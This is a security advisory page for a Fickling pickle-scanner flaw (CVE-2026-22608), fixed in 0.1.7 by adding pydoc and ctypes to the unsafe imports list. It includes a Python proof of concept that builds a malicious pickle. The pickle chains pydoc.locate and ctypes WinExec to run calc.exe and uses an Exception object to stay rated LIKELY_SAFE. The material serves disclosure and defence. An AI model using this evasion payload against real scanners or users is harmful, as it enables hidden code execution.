GHSA-5HVC-6WX8-MVV4

Vulnerability from github – Published: 2026-01-09 21:05 – Updated: 2026-01-09 21:05
VLAI?
Summary
Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
Details

Fickling's assessment

pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).

Original report

Summary

Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE

Details

Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).

To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin

PoC

import os

GLOBAL      = b'c'
STRING      = b'S'
BININT      = b'K'
TUPLE1      = b'\x85'
TUPLE2      = b'\x86'
EMPTY_TUPLE = b')'
REDUCE      = b'R'
PUT         = b'p'
GET         = b'g'
POP         = b'0'
EMPTY_DICT  = b'}'
SETITEM     = b's'
BUILD       = b'b'
STOP        = b'.'

def generate_stealth_payload():
    payload = b""

    payload += GLOBAL + b"pydoc\nlocate\n"
    payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
    payload += POP

    payload += GET + b"0\n" 
    payload += b"C" + b"\x08" + b"calc.exe" 
    payload += BININT + b"\x01"             
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # Var 1 = Execution Result
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"2\n" # Var 2 = Exception instance

    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"1\n"
    payload += SETITEM      # { 'rce_status': result }

    payload += BUILD 

    payload += STOP
    return payload

data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
    f.write(data)

print("Generated 'stealth_ctypes.pkl'")
````

What fickling sees
```python
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3

image

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-09T21:05:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Fickling\u0027s assessment\n\n`pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).\n\n# Original report\n\n### Summary\nBoth ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE\n\n### Details\nImport: GLOBAL pydoc locate (Allowed).\nResolution: Call locate(\u0027ctypes.windll.kernel32.WinExec\u0027).\nExecution: Call the result with (b\u0027calc.exe\u0027, 1).\n\nTo bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin\n\n### PoC\n```python\nimport os\n\nGLOBAL      = b\u0027c\u0027\nSTRING      = b\u0027S\u0027\nBININT      = b\u0027K\u0027\nTUPLE1      = b\u0027\\x85\u0027\nTUPLE2      = b\u0027\\x86\u0027\nEMPTY_TUPLE = b\u0027)\u0027\nREDUCE      = b\u0027R\u0027\nPUT         = b\u0027p\u0027\nGET         = b\u0027g\u0027\nPOP         = b\u00270\u0027\nEMPTY_DICT  = b\u0027}\u0027\nSETITEM     = b\u0027s\u0027\nBUILD       = b\u0027b\u0027\nSTOP        = b\u0027.\u0027\n\ndef generate_stealth_payload():\n    payload = b\"\"\n\n    payload += GLOBAL + b\"pydoc\\nlocate\\n\"\n    payload += STRING + b\"\u0027ctypes.windll.kernel32.WinExec\u0027\\n\"\n    payload += TUPLE1 + REDUCE\n    payload += PUT + b\"0\\n\" # Var 0 = \u003c_FuncPtr WinExec\u003e\n    payload += POP\n\n    payload += GET + b\"0\\n\" \n    payload += b\"C\" + b\"\\x08\" + b\"calc.exe\" \n    payload += BININT + b\"\\x01\"             \n    payload += TUPLE2 + REDUCE\n    payload += PUT + b\"1\\n\" # Var 1 = Execution Result\n    payload += POP\n\n    payload += GLOBAL + b\"builtins\\nException\\n\"\n    payload += EMPTY_TUPLE + REDUCE\n    payload += PUT + b\"2\\n\" # Var 2 = Exception instance\n\n    payload += EMPTY_DICT\n    payload += STRING + b\"\u0027rce_status\u0027\\n\"\n    payload += GET + b\"1\\n\"\n    payload += SETITEM      # { \u0027rce_status\u0027: result }\n    \n    payload += BUILD \n    \n    payload += STOP\n    return payload\n\ndata = generate_stealth_payload()\nwith open(\"stealth_ctypes.pkl\", \"wb\") as f:\n    f.write(data)\n    \nprint(\"Generated \u0027stealth_ctypes.pkl\u0027\")\n````\n\nWhat fickling sees\n```python\nfrom pydoc import locate\n_var0 = locate(\u0027ctypes.windll.kernel32.WinExec\u0027)\n_var1 = _var0(b\u0027calc.exe\u0027, 1)\n_var2 = Exception()\n_var3 = _var2\n_var3.__setstate__({\u0027rce_status\u0027: _var1})\nresult0 = _var3\n```\n\u003cimg width=\"915\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a\" /\u003e",
  "id": "GHSA-5hvc-6wx8-mvv4",
  "modified": "2026-01-09T21:05:13Z",
  "published": "2026-01-09T21:05:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/195"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L145"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…